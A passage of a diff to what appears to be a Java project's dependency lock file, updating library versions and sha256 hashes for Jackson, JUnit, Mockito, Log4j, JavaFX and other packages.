-   "module": "sha256-WT2jX9rflNEYYvfErCjcq52J1bzd2y2jOe7WFXxVbYk=",
-   "pom": "sha256-zOajQFk4YjqBCJX/b94vBMnDuTegVihx4aY0lr4Pr6s="
+  "com/fasterxml/jackson/core#jackson-core/2.19.1": {
+   "jar": "sha256-xGNp4aIYEBAK28klA7YvFanvFkBCeTL0/hWI73zn5IA=",
+   "module": "sha256-SZrw5ZPg0uFL2SnjRJnXIqbtT0KxsJ4inrzUgCzsF60=",
+   "pom": "sha256-Ciaizbd+H4G9km0juNWGw5XPPYiRkyrXA3D9RhtIfRo="
   },
   "com/fasterxml/jackson/core#jackson-databind/2.17.2": {
    "jar": "sha256-wEmT8zwPhFNCZTeE8U84Nz0AUoDmNZ21+AhwHPrnPAw=",
    "module": "sha256-9HC96JRNV9axUMqov1O7mCqZ6x1lkecxr8uXKrPddx8=",
    "pom": "sha256-0kUGmLrpC+M48rmfrtppTNRQrbUhJCE+elO0Ehm1QGI="
   },
-  "com/fasterxml/jackson/core#jackson-databind/2.19.0": {
-   "jar": "sha256-ztoxH0dsOxjh0rJAyU4ty5yNROcPivqfrKuIusTdwDo=",
-   "module": "sha256-Z2HeLgXl0m7GK5R/p1AJEZDz/JnM8iaM3suTz/bfbSo=",
-   "pom": "sha256-f0zGn9XZuwIW0ULD2Cv/2v64bUelU8KBRbjOcOfreHY="
+  "com/fasterxml/jackson/core#jackson-databind/2.19.1": {
+   "jar": "sha256-C8U5QB1SxrFOZolHyFHcxJ94pK2j0fyOj3FEBhP8Js4=",
+   "module": "sha256-XvVBTiXAofGXClB66vPoH8vMELeV2/fz8sO74iL0STw=",
+   "pom": "sha256-0FgUkLOlW0piD5Dx88rShW5vLYEOTntMrvCANYU5qMA="
   },
   "com/fasterxml/jackson/dataformat#jackson-dataformat-yaml/2.17.2": {
    "jar": "sha256-lBvNixOBuzsNcm+rQWJPqOzg7nts8oYK2V6BV85nM3Y=",
@@ -303,18 +331,18 @@
   "com/fasterxml/jackson/dataformat#jackson-dataformats-text/2.17.2": {
    "pom": "sha256-5pgyMzCpqCySDlqJtlsPciXI5zPBIqGPeWoEpuMfpcs="
   },
-  "com/fasterxml/jackson/datatype#jackson-datatype-jdk8/2.19.0": {
-   "jar": "sha256-BPGj+dqBVZld0ACY1oR825t69n9KMCjJQDHv8BfI4+U=",
-   "module": "sha256-vJbHnq+xPoyC2JK23TVkBOKwKwf22Pu8MZ9h+cT+P58=",
-   "pom": "sha256-5LmCFF3HPT37bcRBOZlwHA8I/4KAJQDkYI05vyFZoKI="
+  "com/fasterxml/jackson/datatype#jackson-datatype-jdk8/2.19.1": {
+   "jar": "sha256-WWbAICKggSuHYdmZ5VEMCiadhxeMte9n4TjVTq1pZsY=",
+   "module": "sha256-NfdRzSF0kNdXNzJ2FGHbgUhFYuT9Ffqi4ITi5D4VFlU=",
+   "pom": "sha256-JmrQX3yLG3pGlIuGMD3jJgkXbvHHzBQLsIRnl4GGhrU="
   },
-  "com/fasterxml/jackson/datatype#jackson-datatype-jsr310/2.19.0": {
-   "jar": "sha256-Dul78yk2NJ1qTPbYQoUzv0pLWz5+Vf2aTxlQjOBip3U=",
-   "module": "sha256-cg5M2qz3VPSlMw9EWBBhKPSGf4D7jTB1tavgx6Auam4=",
-   "pom": "sha256-6exZhNwLuy2kMH/TugiAergZ8GsGDNyne6OmWwHjKF0="
+  "com/fasterxml/jackson/datatype#jackson-datatype-jsr310/2.19.1": {
+   "jar": "sha256-Nm64kGXVaKfA7ec8JqND8pPwdtL479DcacvldMoBIg4=",
+   "module": "sha256-ecqU3/ewblL4kY82bNhF8SrC9URx6FoI+8VnfgLDXMY=",
+   "pom": "sha256-Bb56epD6Z0lfYao8T73ptm/ql9IjrFafodODh1Ms1Kc="
   },
-  "com/fasterxml/jackson/module#jackson-modules-java8/2.19.0": {
-   "pom": "sha256-th9zuCA8++8rHkGf9wDM/arlMgbcx20VBUqPg00roDI="
+  "com/fasterxml/jackson/module#jackson-modules-java8/2.19.1": {
+   "pom": "sha256-f8Z58ae3RvkFv2oMXH083ayiNnFadWqMwB6LilDxlU4="
   },
   "com/github/jai-imageio#jai-imageio-core/1.4.0": {
    "jar": "sha256-itPGjp7/+xCsh/+LxYmt9ksEpynFGUwHnv0GQ2B/1yo=",
@@ -331,6 +359,11 @@
   "com/github/scribejava#scribejava/8.3.3": {
    "pom": "sha256-KkpDgAox1XD2wY1TmtgWIZ2xgTuY/gsjq2X4mg4N+lc="
   },
+  "com/github/spotbugs#spotbugs-annotations/4.9.3": {
+   "jar": "sha256-E1Mr/i9F/NSRQyIh33LZzQ77j5h8kkXhK++hksiSXOM=",
+   "module": "sha256-n2xoDBb1JDHMHXApXR5PCvYEosybsBXFKyc9VJ9kf10=",
+   "pom": "sha256-al3AL2Ye8y5MwfndQnfAwNtjeN+e+DFO3xfPv5DPXgs="
+  },
   "com/github/virtuald#curvesapi/1.08": {
    "jar": "sha256-rZWwi4u/nX0X5eAIFImPojMk8yvFti8aN4AealbOAHk=",
    "pom": "sha256-Ny4ZrFGNWM5atVPKgDiMf+mSDFVU0TYtGGRabdvF0SY="
@@ -362,12 +395,22 @@
    "jar": "sha256-d0QOJwsLyaJJkDxaB2w2pyLEiGyk9CZ18pA6HFPtYaU=",
    "pom": "sha256-15z9N8hfdta3VMdQHuHchEe3smQsI4LXeCUhZr0zHpw="
   },
+  "com/google/errorprone#error_prone_annotations/2.37.0": {
+   "jar": "sha256-0ppiY7SNRtTHwotkcXptEFs+Kj5kJWCS+EXo53T8pro=",
+   "pom": "sha256-nBm0OV6yKL6yEJXdMdVa2V+bcnKYNpuShL0jMOi2LaI="
+  },
   "com/google/errorprone#error_prone_parent/2.27.0": {
    "pom": "sha256-+oGCnQSVWd9pJ/nJpv1rvQn4tQ5tRzaucsgwC2w9dlQ="
   },
   "com/google/errorprone#error_prone_parent/2.36.0": {
    "pom": "sha256-Okz8imvtYetI6Wl5b8MeoNJwtj5nBZmUamGIOttwlNw="
   },
+  "com/google/errorprone#error_prone_parent/2.37.0": {
+   "pom": "sha256-SmWUVg9cwGyJ2vzEn4spHxJ83bon1CYFliKhmrjWzkc="
+  },
+  "com/google/errorprone#error_prone_type_annotations/2.37.0": {
+   "pom": "sha256-69Fv9A5HxZg71f1iL0ym71cWPowYU+OilsOtKUYnUdY="
+  },
   "com/google/guava#failureaccess/1.0.3": {
    "jar": "sha256-y/w5BrGbj1XdfP1t/gqkUy6DQlDX8IC9jSEaPiRrWcs=",
    "pom": "sha256-xUvv839tQtQ+FHItVKUiya1R75f8W3knfmKj6/iC87s="
@@ -435,6 +478,14 @@
    "jar": "sha256-2t3qHqC+D1aXirMAa4rJKDSv7vvZt+TmMW/KV98PpjY=",
    "pom": "sha256-yRq1qlcNhvb9B8wVjsa8LFAIBAKXLukXn+JBAHOfuyA="
   },
+  "de/jensd#fontawesomefx-commons/9.1.2": {
+   "jar": "sha256-VTm7MzXsuCLb+ShUb1d2buufFRbMFBegZLVwlilhIUk=",
+   "pom": "sha256-q0vm8wr9NJsCvai2CX7V4inStdPpVoycxp42EwxJFQw="
+  },
+  "de/jensd#fontawesomefx-fontawesome/4.7.0-9.1.2": {
+   "jar": "sha256-thGqs6fV6KhWKNJNbtgy0+7++2ikYQRVm57SbbyPIXI=",
+   "pom": "sha256-wf4c0VbbKQBcA+zivSst8iJZrLMDb4IqjCRS5W/oq9I="
+  },
   "de/saxsys#mvvmfx-parent/1.8.0": {
    "pom": "sha256-tp0rfN1IaPX4/rFgaV7mvP/PsIf7LYGeXXW7o1AjbJs="
   },
@@ -455,20 +506,20 @@
    "module": "sha256-iNmRuo7VjChtey18CPn2Mg/5novWYXPDaDkhAEb8f2I=",
    "pom": "sha256-oYHFieNi4sRp6IRc/PIKFaiQ9ISUoPny4T9ZSglq0Kk="
   },
-  "io/freefair/gradle#lombok-plugin/8.13.1": {
-   "jar": "sha256-lbMasJqIL7BUfdXHs0XSJ23DLP39IvjFfYqCTOppuNc=",
-   "module": "sha256-pm7A/w8m1PY/teSSCsCND+O9t2Z2xD+utOleomuEaHM=",
-   "pom": "sha256-X0xZH+9n8S029WW9IVZZJl0kKM4V6jzV0mj5/8FBtR4="
+  "io/freefair/gradle#lombok-plugin/8.14": {
+   "jar": "sha256-NiigQcRX+SJZnyy+9Gq7OitAUmqBQ5FurJFe756wnCY=",
+   "module": "sha256-a+nB6Xh7bS68ZrkwgSw5s1zAshuxOhMbgmqt2j9r+cI=",
+   "pom": "sha256-/LTz+DpyuyF6VjWEfAWzWzjgHufzS6gV28PFiuGV5Zo="
   },
   "io/freefair/jsass-java#io.freefair.jsass-java.gradle.plugin/6.5.0.2": {
    "pom": "sha256-1C1ePfUKHTe6qhRrpb0ai7I5YZksPt9Fw6M5zqCTLd8="
   },
-  "io/freefair/lombok#io.freefair.lombok.gradle.plugin/8.13.1": {
-   "pom": "sha256-8BqPAZWa7jyQ4IvOvTK4PIEJe+pkP5S1U5uYXGgxOMc="
+  "io/freefair/lombok#io.freefair.lombok.gradle.plugin/8.14": {
+   "pom": "sha256-m4nw9rMWc+4eiHy6RoAkO/fHKv7Gs4tg0Osy6vfp7uM="
   },
-  "io/github/classgraph#classgraph/4.8.179": {
-   "jar": "sha256-FlWDV/I0BSNwEJEnpF1pqb1thkaSVZR5JjRIbcSLFZ0=",
-   "pom": "sha256-CWp5YnTWPaeMCTueed63lFJp3CK8F+ZqKYhazkQwaJs="
+  "io/github/classgraph#classgraph/4.8.180": {
+   "jar": "sha256-3kpBhb+qvIlj+q4g5/oknexmKv0sYcVN/S3qVZMvTDo=",
+   "pom": "sha256-e3i7PAzU0j7JR++qO27y25em+3mrhk/kvp56ACAltc4="
   },
   "io/github/pustike#commons-csv/1.7.0": {
    "jar": "sha256-PB0BZmOIW/KPqgi3rE//Ewin5PFd6BZvd2D5jC5m3LI=",
@@ -493,10 +544,10 @@
    "module": "sha256-rwV/vBEyR6Pp/cYOWU+dh2xPW8oZy4sb2myBGP9ixpU=",
    "pom": "sha256-EeldzI+ywwumAH/f9GxW+HF2/lwwLFGEQThZEk1Tq60="
   },
-  "io/sentry#sentry/8.12.0": {
-   "jar": "sha256-LkfktB4/El/cgKUS1fUaA5DRD9haWRHR+A5im7p3AAQ=",
-   "module": "sha256-LrKRmE4DJppwx0nCTSBwZHF9Rw8ex1lAD96birtXim4=",
-   "pom": "sha256-pwlifFbJHCooUNMFXPWWFTk+TCEMcMojMEpifX9SAlg="
+  "io/sentry#sentry/8.16.0": {
+   "jar": "sha256-YLI3YYt4jMTKh2FpyKQTdyzoVOxMPYLNcsh0b5fGGx0=",
+   "module": "sha256-Rafpija3jds0GfD+g/L1+6dlDQAvtuc5Qn2osb23FjU=",
+   "pom": "sha256-f05iPFiUUQG8rJ8JuphRgklh8Vm/wGgzieMuDekJeMY="
   },
   "jakarta/json/bind#jakarta.json.bind-api/2.0.0": {
    "jar": "sha256-peYGtYiLQStIkHrWiLNN/k4wroGJxvJ8wEkbjzwDYoc=",
@@ -539,17 +590,23 @@
    "jar": "sha256-jklbY0Rp1k+4rPo0laBly6zIoP/1XOHjEAe+TBbcV9M=",
    "pom": "sha256-Vptpd+5GA8llwcRsMFj6bpaSkbAWDraWTdCSzYnq3ZQ="
   },
-  "net/bytebuddy#byte-buddy-agent/1.15.11": {
-   "jar": "sha256-MW0sB5XCpNTEdW8ub5NJg3x0MKw04Ed+rYdNBfXMGeU=",
-   "pom": "sha256-tfoTlvFHl7jYCIJ+d0O6il8gO0iJvjLklj1EvV7XWag="
+  "net/bytebuddy#byte-buddy-agent/1.17.5": {
+   "jar": "sha256-xbkzStguYy9q9g3yK7vbu2LO4Eh39PQ8OLoErtm9mQE=",
+   "pom": "sha256-C4NIL7Ujtb+UdKqCp8XTzhPPOlqatdY6zpVZGfbXzBQ="
   },
   "net/bytebuddy#byte-buddy-parent/1.15.11": {
    "pom": "sha256-jcUZ16PnkhEqfNhB6vvsTwDbxjPQha3SDEXwq0dspJY="
   },
+  "net/bytebuddy#byte-buddy-parent/1.17.5": {
+   "pom": "sha256-HoN1gn7n0vXkxwyzHJFn7OxgaTz2pbdzoeZv1NJnU2c="
+  },
   "net/bytebuddy#byte-buddy/1.15.11": {
-   "jar": "sha256-+giZiq4ee9roO94HEsUOhETXHA4MGWuyJHrejUrQ65A=",
    "pom": "sha256-IFuLJUGWcX6B2tZyu4aacZr8lt8pf5fYEe/+H0NlPa4="
   },
+  "net/bytebuddy#byte-buddy/1.17.5": {
+   "jar": "sha256-cVaMn4OWZ3IZ9lAmj79kk97UhO3NvfLa5hKcpb6B6Ns=",
+   "pom": "sha256-U81D27NbSORHJc1XbSAG4fcfIWh9BA94DMcKCn79QcI="
+  },
   "net/java#jvnet-parent/1": {
    "pom": "sha256-KBRAgRJo5l2eJms8yJgpfiFOBPCXQNA4bO60qJI9Y78="
   },
@@ -672,9 +729,9 @@
    "jar": "sha256-3gIyV/8WYESla9GqkSToQ80F2sWAbMcFqTEfNVbVoV8=",
    "pom": "sha256-stQ0HJIZgcs11VcPT8lzKgijSxUo3uhMBQfH8nGaM08="
   },
-  "org/apache/groovy#groovy-bom/4.0.22": {
-   "module": "sha256-Ul0/SGvArfFvN+YAL9RlqygCpb2l9MZWf778copo5mY=",
-   "pom": "sha256-Hh9rQiKue/1jMgA+33AgGDWZDb1GEGsWzduopT4832U="
+  "org/apache/groovy#groovy-bom/4.0.27": {
+   "module": "sha256-1sIlTINHuEzahMr3SRShh8Lzd+QoTo2Ls/kBUhgQqos=",
+   "pom": "sha256-qkTrUr/f5h0ns+RQ0rNI2I3qo0N6tNnUmoQJU0j59vs="
   },
   "org/apache/logging#logging-parent/1": {
    "pom": "sha256-NLK/T1MagJFolhZy/0GdGr+WcluN/lKYDwDIxOsTS9Y="
@@ -682,9 +739,10 @@
   "org/apache/logging#logging-parent/11.3.0": {
    "pom": "sha256-pcmFtW/hxYQzOTtQkabznlufeFGN2PySE0aQWZtk19A="
   },
-  "org/apache/logging/log4j#log4j-api/2.24.3": {
-   "jar": "sha256-W0oKDNDnUd7UMcFiRCvb3VMyjR+Lsrrl/Bu+7g9m2A8=",
-   "pom": "sha256-vAXeM1M6Elmtusv8yCbNZjdqLZxO5T+4NgCfRKRbgjk="
+  "org/apache/logging/log4j#log4j-api/2.25.0": {
+   "jar": "sha256-A5PjIWckDrVll6IBZEaSh1VynxoYEEbKtdQqgdDj2Qk=",
+   "module": "sha256-3t+O+nkqTAOUMoQ7y8mqtq95bgF/POfwwKhkh9nVVsA=",
+   "pom": "sha256-X4Ft/v5aeqfJ1UOuTmV9RCO00zcQQxW7XYqWNW6TJGo="
   },
   "org/apache/logging/log4j#log4j-bom/2.10.0": {
    "pom": "sha256-8CEjRUmwLxK23xRaaw5ixrl4FCfjDjckmgX2XF3R7WY="
@@ -695,8 +753,11 @@
   "org/apache/logging/log4j#log4j-bom/2.24.3": {
    "pom": "sha256-sXq38yj0WGt+cfjJT8NaXaK86AcFpdYwBAIsGSiDNVg="
   },
-  "org/apache/logging/log4j#log4j/2.24.3": {
-   "pom": "sha256-wUG0hj/AzqtYOJShPh+eUsAfwtdYcn1nR/a5nVBA87E="
+  "org/apache/logging/log4j#log4j-bom/2.25.0": {
+   "pom": "sha256-E0VaYYNMvuWf1MWIg0uH3vIQ24ebvX4jFP700Sv+vNk="
+  },
+  "org/apache/logging/log4j#log4j/2.25.0": {
+   "pom": "sha256-EBzT96bDtLUv68axJOSA5Ev22hYMKcUDQvOHvphqcy0="
   },
   "org/apache/pdfbox#fontbox/2.0.26": {
    "jar": "sha256-lGdMfRDqRdmw3BA4eJJjf8jvtcadLnJpTxxm/rm7btc=",
@@ -817,10 +878,6 @@
    "module": "sha256-3iOxFLPkEZqP5usXvtWjhSgWaYus5nBxV51tkn67CAo=",
    "pom": "sha256-Fp3ZBKSw9lIM/+ZYzGIpK/6fPBSpifqSEgckzeQ6mWg="
   },
-  "org/junit#junit-bom/5.10.3": {
-   "module": "sha256-qnlAydaDEuOdiaZShaqa9F8U2PQ02FDujZPbalbRZ7s=",
-   "pom": "sha256-EJN9RMQlmEy4c5Il00cS4aMUVkHKk6w/fvGG+iX2urw="
-  },
   "org/junit#junit-bom/5.11.0": {
    "module": "sha256-9+2+Z/IgQnCMQQq8VHQI5cR29An1ViNqEXkiEnSi7S0=",
    "pom": "sha256-5nRZ1IgkJKxjdPQNscj0ouiJRrNAugcsgL6TKivkZE0="
@@ -833,59 +890,63 @@
    "module": "sha256-qaTye+lOmbnVcBYtJGqA9obSd9XTGutUgQR89R2vRuQ=",
    "pom": "sha256-GdS3R7IEgFMltjNFUylvmGViJ3pKwcteWTpeTE9eQRU="
   },
-  "org/junit#junit-bom/5.12.2": {
-   "module": "sha256-3nCsXZGlJlbYiQptI7ngTZm5mxoEAlMN7K1xvzGyc14=",
-   "pom": "sha256-zvgP7IZFT2gGv7DfJGabXG8y4styhTnqhZ9H39ybvBc="
+  "org/junit#junit-bom/5.13.1": {
+   "module": "sha256-M8B6uXJHkKblhZugfWkResUwQ5ckVFqBxBeeMnLHXeg=",
+   "pom": "sha256-+mhFHqgwVy7UP/5R11tqBfel5mWmAqUfSda+AgY6ZfM="
   },
-  "org/junit/jupiter#junit-jupiter-api/5.12.2": {
-   "jar": "sha256-C5ynKOS82a3FfyneuVVv+e1eCLTohDuHWrpOTj4E8JI=",
-   "module": "sha256-VFfyRO3hjRFzbwfrnF8wklrrCW5Cw1m2oEqaDgOyKes=",
-   "pom": "sha256-VmKCFmSJvUCxLDUHuZXkj44CXgmgXn0W3SuY3GQs994="
+  "org/junit#junit-bom/5.13.2": {
+   "module": "sha256-7WfhUiFASsQrXlmBAu33Yt1qlS3JUAHpwMTudKBOgoM=",
+   "pom": "sha256-Q7EQT7P9TvS3KpdR1B4Jwp8AHIvgD/OXIjjcFppzS0k="
   },
-  "org/junit/jupiter#junit-jupiter-engine/5.12.2": {
-   "jar": "sha256-9XbAa4rM3pmFBjuLyAUmy5gO7CTe4LciH8jd16zmWAA=",
-   "module": "sha256-0W0wjmqiWjCz75JNnf5PiJqb/ybqvXLvMO6oH864SBU=",
-   "pom": "sha256-PHGRdFCb6dsfqBesY7eLIfH2fQaL5HHaPQR4G9RAKqM="
+  "org/junit/jupiter#junit-jupiter-api/5.13.2": {
+   "jar": "sha256-uL4vr4zVWzcGP3xXyiv0wLVDdwb4OLLk/502+A2i7pM=",
+   "module": "sha256-eEMoG7nkQlyAKXptHmDAoC9bFnIouHVxFZoa3C5IuzY=",
+   "pom": "sha256-XavE6LyJqTKuoHQFbDK1+D7hLbx1+nXyFxZ9pSf3T2Y="
   },
-  "org/junit/jupiter#junit-jupiter-params/5.12.2": {
-   "jar": "sha256-shn/qUm5CnGqO2wrYGRWuCvKCyCJt0Wcj/RhFW/1mw8=",
-   "module": "sha256-x3KP8z0SJgBzLq09DW+K3XRd4+lEFRmHE5WuiZymFHQ=",
-   "pom": "sha256-pcfvF8refV90q2IHK7xrxxy9AWgGJGvOQl/LvBEISTw="
+  "org/junit/jupiter#junit-jupiter-engine/5.13.2": {
+   "jar": "sha256-T5I0A/vFMidzIzVzzp6FVmhwoMhaigaoQT4QHdBEsWs=",
+   "module": "sha256-3QtzMtAxffuYwso80EkzYLYK0fwBIbpO/dnpZbt4JoE=",
+   "pom": "sha256-CbFm7NKQvf7WTjRvdwkz6JPrk3cF7PLwslTR8WtsT5M="
   },
-  "org/junit/jupiter#junit-jupiter/5.12.2": {
-   "jar": "sha256-OFSzrUNJBrgn/sR0qg2NqLVunlbV/H8uIPw/EuxL6JQ=",
-   "module": "sha256-ioIpqKD4Se/BzD/9XPlN4W6sgAYcX5M5eoXAk8nX6nA=",
-   "pom": "sha256-ka2OSkvzBCMslByQFKyRNnvroTHx21jVv+SZx5DUbxc="
+  "org/junit/jupiter#junit-jupiter-params/5.13.2": {
+   "jar": "sha256-eLpDsZIRxzuB4OYfX3sXQMwxHzvxHngcY2THZfB0+8c=",
+   "module": "sha256-YuMdG0D4NJmK6b7M9WgnN8+wO7PpvLz6l5d/+p09l80=",
+   "pom": "sha256-warBY9RGgeVEo8R5YSdAOgL7PEQRxM//lLTT2nFwdUk="
   },
-  "org/junit/platform#junit-platform-commons/1.12.2": {
-   "jar": "sha256-5oOgHoXfq+pSDAVqxgFaYWJ1bmAuxlPA2oXiM/CvvBg=",
-   "module": "sha256-ZMeQwnpztFz8b4TMtotI92SQNIZ+Fo1iJ1TUlmkrwic=",
-   "pom": "sha256-TyuKkGXJCcaJLYYi1VO2qwpwMhYkSZ47acEon1nswHc="
+  "org/junit/jupiter#junit-jupiter/5.13.2": {
+   "jar": "sha256-18FEis8SUft2yRVRdg49hLDkLslajl9W9QFj6SwoQoI=",
+   "module": "sha256-Jc9R84EM1LA8JH5WHI+E6LlxsYjZIUK567BICy2YWhc=",
+   "pom": "sha256-BbwCHJKbRsgLa2NEVJLb+w17q+ZhqV8O7Nw+AhQvBNs="
   },
-  "org/junit/platform#junit-platform-engine/1.12.2": {
-   "jar": "sha256-zvDvy1vS4F4rgI04urXGVQicDDABUnN250y2BqeRHsg=",
-   "module": "sha256-+Xsxk2wRnAgtTQOM3resDmVvRR2eXX6Jg9IqJONvoQM=",
-   "pom": "sha256-lICxinlldp0Ag8LLcRBUI/UwKo8Ea7IEfm2/8J84NJA="
+  "org/junit/platform#junit-platform-commons/1.13.2": {
+   "jar": "sha256-gfuqBqOSRIoB5Z3hQnzvJ7uISF7C0u1k3Iox9UQIUcA=",
+   "module": "sha256-DDzH0YgRWPZqrzmA/FcjMFpC4uQ7sPpITjiXtmruQC0=",
+   "pom": "sha256-V65e+fpv6vcrpcWkgDSiplbhaIUryooePJAgDhgyN7c="
   },
-  "org/junit/platform#junit-platform-launcher/1.12.2": {
-   "jar": "sha256-3M8sH6Cpd8U60JSthZv93dUk2XWUt2MHrXh95xmFdX8=",
-   "module": "sha256-UKBqBDdOMA57hhWIxdwNAhQh4Z8ToL2ymwYX/y/ehdE=",
-   "pom": "sha256-YZFFzSFdMiJTcr5iW7ooaD10FC/uGl39scZLUv6cC1E="
+  "org/junit/platform#junit-platform-engine/1.13.2": {
+   "jar": "sha256-o01cLzDAMM2lONU5UvvYhtFbUV6+sjs9FVwYXPuvr4k=",
+   "module": "sha256-+RbR4m8CCbmsi+lVfR2AWLV4MJg6JMeBr0iKe0ZRNYo=",
+   "pom": "sha256-P8S6J1WYtixQq7RM55VbuwSlsN33hNL1SZivpEldoDw="
   },
-  "org/junit/platform#junit-platform-runner/1.12.2": {
-   "jar": "sha256-MTM/XBn/0sM7/P1I8T0BEMpjmlUIJrGBe+8fQZq2WfE=",
-   "module": "sha256-yMQTmQhdQQPDd6llmXlAFwZ8noiqTM2LsXlZ653n7l0=",
-   "pom": "sha256-Gk/1TUcVfTfbi2KNCkTAscxJ6aFgl7vYvTB1Dwe2NRY="
+  "org/junit/platform#junit-platform-launcher/1.13.2": {
+   "jar": "sha256-7WRD9zHokp64vKVhm1NfM//RmzQ1OW+spwDX3ah+97w=",
+   "module": "sha256-Z4jMmBULG1nz8L0b0nxKkAo+6bgZaw8YFJ9Q7t3/qhI=",
+   "pom": "sha256-BRrcG1yuUbmFPikw0tB6nMbEiPD9PR6VsZAhleBuORY="
   },
-  "org/junit/platform#junit-platform-suite-api/1.12.2": {
-   "jar": "sha256-4XsgBikN4R9kRKT5i21xu719b8z8QP2F20EyEMssvI0=",
-   "module": "sha256-p4KMRJrH3eT31dZBTu6KNmSyGFFRnf+tDDYQ5e0Ljv4=",
-   "pom": "sha256-fH/9bHyEzSjxSHEDEI/FvkTi0x3RYO10RGQAQ8A3TFM="
+  "org/junit/platform#junit-platform-runner/1.13.2": {
+   "jar": "sha256-KeL0gJKJgS2GZJE4cRwXacciFptak7GIifJP0GyqWBE=",
+   "module": "sha256-Ogz8QrWXt0qX39zVl0Pqw8YSEYd8enOcWyNHdnJkRc4=",
+   "pom": "sha256-UmqnNCfp8nMmLNl/8b9gj0aQBAgdbizBbs70fNKtshk="
   },
-  "org/junit/platform#junit-platform-suite-commons/1.12.2": {
-   "jar": "sha256-6eQ+/chcjYOmEu/SmMgWRHoR3ADEbOtyDGOsOGoGUJQ=",
-   "module": "sha256-FRnxoAUNvbgdXmkFxhjv0Jq26rFJJtRFEPpiC/XwexM=",
-   "pom": "sha256-O66C06IPNjstyYWsC1JlI84F5R0Patbxf1x1JntrEVA="
+  "org/junit/platform#junit-platform-suite-api/1.13.2": {
+   "jar": "sha256-nEKnxRqjzJU9zBJxwjzZx4/x86QmpMeNH7tORp4bt4o=",
+   "module": "sha256-89SdCAR2qsZibEXHvMGrvO9us+31vgj7DwpEbq4D050=",
+   "pom": "sha256-s099HvIm0fYfZjsLgyu/VpDpsfhA1F+ZUnhVD6HsBGc="
+  },
+  "org/junit/platform#junit-platform-suite-commons/1.13.2": {
+   "jar": "sha256-/+kBOOH0fsvVedNs+Y61R9ULNdfS7N+kLr7T809x5lg=",
+   "module": "sha256-k4lLqV+lC/B4y+AA+kuCvlEjCU5s6tKshzLuKxkdwx0=",
+   "pom": "sha256-QS8vooQrfzXlA+jiZZVxR5t52HAcZwW728N2sqFAE0k="
   },
   "org/leadpony/justify#justify-parent/3.1.0": {
    "pom": "sha256-ckfhOlVhg4gPqnP7EeWQJ7R+fG1Ghx0sUIg3WwDbJY0="
@@ -897,17 +958,17 @@
   "org/mockito#mockito-bom/4.11.0": {
    "pom": "sha256-2FMadGyYj39o7V8YjN6pRQBq6pk+xd+eUk4NJ9YUkdo="
   },
-  "org/mockito#mockito-core/5.17.0": {
-   "jar": "sha256-3/Wa2MYbAm74bMET+U8jAesGyq+B3sMMeKlqGmVZXF4=",
-   "pom": "sha256-0BzBTnZhxjBHlApC9Qc9Sg7L4qDqXS6jQgS0zAgeFqU="
+  "org/mockito#mockito-core/5.18.0": {
+   "jar": "sha256-o9TkD3/mYBb+QsAN5ONDd310Eyr8hQGODwOsYzSmDyk=",
+   "pom": "sha256-cCZWNGCaFVU3MDM5Ht/rh5Apl0EgpxL+DZrYC6JI790="
   },
   "org/mockito#mockito-inline/5.2.0": {
    "jar": "sha256-7lLhwpmmMhhPuidKk3CZPgkUBCn15RbmxVcP1ldLKX8=",
    "pom": "sha256-cG00cOVtMaO1YwaY0Qeb79uYMUWwGE5LorhNo4eo9oQ="
   },
-  "org/mockito#mockito-junit-jupiter/5.17.0": {
-   "jar": "sha256-XFRC+KqqjwPfA+SGKg1pIF0bQfXtv31ap6JIamHeSbc=",
-   "pom": "sha256-AaXP6bnbkv1GSZ3oA2e7JtreMj/DH4cMyT8ArLwWRs0="
+  "org/mockito#mockito-junit-jupiter/5.18.0": {
+   "jar": "sha256-CIEdIIXe74Puy7vGeIXXpvbO+ZunJmgoAXCqxqSs0mU=",
+   "pom": "sha256-6pbNic+y9Ik1qjjyZVwGL/LGKkimAFgXk+/7qaa+iUY="
   },
   "org/objenesis#objenesis-parent/3.3": {
    "pom": "sha256-MFw4SqLx4cf+U6ltpBw+w1JDuX1CjSSo93mBjMEL5P8="
@@ -926,75 +987,91 @@
    "jar": "sha256-My3AACjoNlsnD7+1rAd7gHfp4OtYdGSiUqjtBHAiV+k=",
    "pom": "sha256-pxdAoV6nREoA8+5lj8XBLxONl1aqPvHAeq8KImyN+/k="
   },
-  "org/openjfx#javafx-base/23.0.1": {
-   "jar": "sha256-iEU6jUzJIXQMhOMV6AIbnZhLCSDTySMYfF/QwswdaDw=",
-   "pom": "sha256-0mUw12g4dhZPL+FpnXe//CbJlfUSgCr0IFUXwhSs+mc="
+  "org/openjfx#javafx-base/24.0.1": {
+   "jar": "sha256-wHIERTI2uKfKW6vuyx4hPNaLba8QrfrM8SB3rP2npN8=",
+   "pom": "sha256-BVO1I7rWnf8ajtnBvoGUUWLVs5umXuEoVdhEpOmk1rI="
   },
-  "org/openjfx#javafx-base/23.0.1/linux": {
-   "jar": "sha256-7sBxSvCRmRxVt9v23ePYWSsf6LoEbagc2IUDuAvpi2M="
+  "org/openjfx#javafx-base/24.0.1/linux": {
+   "jar": "sha256-Ow5mkFh5aklnV7sX0U5dl6G0EspcGz8eAVn25djuI9s="
   },
-  "org/openjfx#javafx-base/23.0.1/linux-aarch64": {
-   "jar": "sha256-KZWXC6g6nyca0+O8IC+odlIbiIlJBBPhdr9Jek/k2w4="
+  "org/openjfx#javafx-base/24.0.1/linux-aarch64": {
+   "jar": "sha256-gWwvLr4cRmHrQlPk2Ad1Ute+zHQjupLfuEa3oaxISa4="
   },
-  "org/openjfx#javafx-controls/23.0.1": {
-   "jar": "sha256-3XcaHc2LdE4WcgNao8YoM+Y0ZfpgZrOgwuon8XfL1O8=",
-   "pom": "sha256-zUsIKtIxRfbipieHQ3FsCu3fit8vO/iu1ihYCFWk46g="
+  "org/openjfx#javafx-controls/24.0.1": {
+   "jar": "sha256-KqsGovwOGUBDgHUvxfykPkl4qD5Qc8dCSVSj950Luik=",
+   "pom": "sha256-QJ24qT1cQs98ZAWaulclDwlKMHHTpWGwGsBT8SXnEOI="
   },
-  "org/openjfx#javafx-controls/23.0.1/linux": {
-   "jar": "sha256-LQyxs8l1c4lHywYBT+IkCrNrS29oxG6SbQiWCYJbqdw="
+  "org/openjfx#javafx-controls/24.0.1/linux": {
+   "jar": "sha256-aZvOLZNgke0A8Xt/tPKMTwmk6104AF0aZN0xBdjXLTc="
   },
-  "org/openjfx#javafx-controls/23.0.1/linux-aarch64": {
-   "jar": "sha256-cHKyNufjePXWijbVrQCWjTBDo4i3QgvfZ9k7t5dKYXE="
+  "org/openjfx#javafx-controls/24.0.1/linux-aarch64": {
+   "jar": "sha256-OMg3bAYv1h9HSxeCMjodCuDUyXdGi0hfekkMxJSX250="
   },
